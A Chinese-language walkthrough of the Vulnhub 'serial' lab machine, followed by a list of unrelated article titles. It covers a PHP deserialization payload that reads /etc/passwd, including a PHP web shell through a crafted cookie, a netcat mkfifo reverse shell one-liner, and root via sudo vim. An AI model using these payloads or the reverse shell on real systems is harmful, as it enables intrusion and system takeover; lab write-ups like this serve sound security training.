原创Jarry 四叶草网络安全学院

今天研究一下php反序列化,靶机serial实战。目标为获取root权限。

靶机信息

可以去vulhub上下载此靶机,下载好,之后,使用Vmware新建虚拟机打开,步骤如下:

  • 1.首先创建新的虚拟机。
  • 2.然后选择客户机版本为Ubuntu 64位。
  • 3.然后选择使用现有磁盘,选择下载的vmdk磁盘文件即可。
  • 4.打开虚拟机,环境配置完成。

渗透测试过程

探测主机存活(目标主机IP地址)

  • 使用nmap探测主机存活或者使用Kali里的netdicover进行探测。-PS/-PA/-PU/-PY:这些参数即可以探测主机存活,也可以同时进行端口扫描。(例如:-PS,发送TCP SYN包进行主机探测)

扫描到存活主机:192.168.242.129,开放了22和80端口

访问web服务

  • 1.首先访问80端口,页面只有一行文本:Hello sk4This is a beta test for new cookie handler,提示这里是新cookie进行程序测试,那我们查看cookie。
  • 2.F12查看,是一串base64编码。
  • 3.使用burpsuite解码,是一串代码,下面有解释。

思路一:

  • 尝试逻辑绕过,将sk4换成admin,看看是否有什么信息。
  • 这里直接报500错误,没办法,只有找其他思路。

思路二:

目录扫描

  • 1.使用dirbuster工具进行扫描,这里扫到一个/backup/目录。
  • 2.打开查看,是一个zip文件,下载查看,是三个源代码文件。

代码审计

  • 1.通过代码审计得知,首先index.php文件包含了user.class.php文件,对cookie中的user参数进行了序列化和base64编码,然后user.class.php文件包含了log.class.php,且定义了两个类,分别是Welcome和User,并调用了log.class.php文件中的handler函数。log.class.php文件又定义了Log类和成员变量type_log,且handler函数对变量还进行了文件包含和输出。
  • 2.经过代码审计可构造payload,尝试读取passwd文件,payload如下:O:4:"User":2:{s:10:" User name";s:5:"admin";s:9:" User wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}},然后在命令行窗口,打开python,添加base64模块,再经序列化和base64编码后,进行执行,但是一直不能成功执行。
  • 3.通过对比发现base64存在一定的不同,需要进行修改,将空格使用x00替换,然后再进行编码读取/etc/passwd文件。

这里我们仍然使用python进行操作,首先使用replace()函数将payload中所有的空格替换成x00:'O:4:"User":2:{s:10:" User name";s:5:"admin";s:9:" User wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}'.replace(' ','x00'),然后再使用base64模块进行编码:base64.b64encode(b'O:4:"User":2:{s:10:"x00Userx00name";s:5:"admin";s:9:"x00Userx00wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}'),编码后的payload如下:Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ==

  • 4.然后在burpsuite的repeater模块中,将payload赋值给cookie中的user,然后点击 [go],读取到passwd文件,可以看到可登录系统用户除了root,还有sk4。

获取shell

  • 1.因为这样执行命令不太方便,我们可以换一种方式,在本地打开web服务,上传一个txt文件,内容是:<?php system($_GET['cmd']);?>
  • 2.然后构造payload:O:4:"User":2:{s:10:"x00Userx00name";s:5:"admin";s:9:"x00Userx00wel";O:3:"Log":1:{s:8:"type_log";s:26:"http://本地IP/c.txt";}},然后进行序列化和base64编码执行。

命令执行成功。

  • 3.添加反弹shell:rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.0.102+4444+>/tmp/f,没有回应,但反弹shell成功。

提升权限

  • 1.查看系统版本,内核版本。
  • 2.查看根目录发现存在敏感文件credentials.txt.bak。
  • 3.打开查看是用户名和密码,SSH登录。
  • 4.刚才查看了版本,暂时找不到可提权的漏洞,那么,我们尝试找一下当前用户可执行与无法执行的指令,可以看到vim编辑器对所有用户NOPASSWD。
  • 5.尝试提权,试试sudo vim,进入到命令模式输入!bash。
  • 6.提权成功。

hdf5 目录没有serial_Serial靶机实战相关推荐

  1. 红日安全ATT&CK靶机实战系列之vulnstack2

    typora-root-url: pic\ATT&CK靶机实战系列--vulnstack2 声明 好好学习,天天向上 环境配置 下载地址,直接进去用百度云,没有会员也下的非常快 http:// ...

  2. 全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】

    靶机地址:https://www.vulnhub.com/entry/imf-1,162/ 靶机难度:中级(CTF) 靶机发布日期:2016年10月30日 靶机描述:欢迎使用" IMF&qu ...

  3. 靶机实战(bulldog)

    bulldog 实验环境 实验过程 信息收集 1.主机发现 2.端口扫描 3.目录扫描 4.web站指纹 5.漏洞发现 漏洞利用 提权 总结 实验环境 靶机:bulldog 测试机:win10 ,ka ...

  4. hdf5 目录没有serial_hdf5

    tf2.0训练网络,使用官方预训练模型和权重时,在保存模型和参数时,出现这个错误: 代码: model.save('model36_5.h5') model.save_weights('weight_ ...

  5. Vulnhub-CTF6靶机实战

    前言 靶机下载地址:下载地址 KALI地址:192.168.10.73 靶机地址:192.168.10.40 一.信息收集 1.主机发现 使用命令如下,来进行主机发现 netdiscover -r 1 ...

  6. Vulnhub靶机实战——DC-5

    靶机DC-5下载地址:https://download.vulnhub.com/dc/DC-5.zip 环境:VMware 15虚拟机软件 DC-5靶机IP地址:192.168.220.139 Kal ...

  7. Vulnhub-potato靶机实战

    文章目录 学习笔记下载 靶机下载 第一部分 信息收集 第一步 主机发现 第二步 端口扫描 第三步 访问网站 第四步 扫描目录 第四步 访问扫描出的目录 第五步 回到开放的端口,分析,发现7120开放 ...

  8. Vulnhub靶机实战-Forensics

    声明 好好学习,天天向上 搭建 vmware打开,网络和攻击机一样,桥接模式 渗透 存活扫描,发现目标 arp-scan -l 端口扫描 nmap -T4 -A 192.168.31.152 -p 1 ...

  9. 挑战全网最详细靶机教程——vulnhub靶机实战 lampiao【适合刚接触的新人学习】

    靶机地址:https://www.vulnhub.com/entry/lampiao-1,249/ 靶机难度:中等 工具:kalilinux: 一个灵活的脑子 : 一双手 目标:得到root权限&am ...

最新文章

  1. 分布式系统选主怎么玩
  2. ubuntu16.04 uninstall cuda 9.0 completely and install 8.0 instead
  3. Pytorch学习-torch.max()和min()深度解析
  4. 计算机组成原理试卷五套,计算机组成原理(五套试题)
  5. Web.config详解
  6. 十六进制、RGB 与 VBA颜色值对照表
  7. C++提高部分_C++类模板成员函数类外实现---C++语言工作笔记092
  8. 【报告分享】新零售专题报告:从直播电商的春秋战国,看mcn的进阶之道.pdf
  9. 首批共享单车死于 2019
  10. win10计算机怎么拨号上网,win10拨号连接怎么创建 win10宽带拨号连接如何设置
  11. 【UVALive - 6922】Reverse Polish Notation【贪心】
  12. 俄罗斯方块C++代码(转载他人代码)
  13. ZZULIOJ.1137: 查找最大元素
  14. 解决其他浏览器能上网谷歌浏览器不能上网
  15. AWR实战分析之---- PX Deq Credit: send blkd
  16. apple账号被锁定且密码无法重设
  17. 百度Android在线语音识别SDK使用方法
  18. Deepin java开发环境的搭建jdk8,tomcat9,maven3.3.9,nodejs,vue3+
  19. JAVA必背面试题和项目面试通关要点
  20. HEVC最优CU划分确定的过程

热门文章

  1. V-rep学习笔记:ROSInterface
  2. Spring AOP代理时 ClassCastException: $Proxy0 cannot be cast to (类型转换错误)
  3. 河南省队选拔 HAOI2015 解题报告
  4. Emmet快速编写HTML代码
  5. CSS实现标题右侧“更多”
  6. display:inline-block;在各浏览器下的问题和终极兼容办法
  7. 信息系统审计(IT审计)实践
  8. 第一章:了解SQL_数据库基础
  9. keepalived + LVS实现高可用负载均衡集群
  10. 05-UIDynamic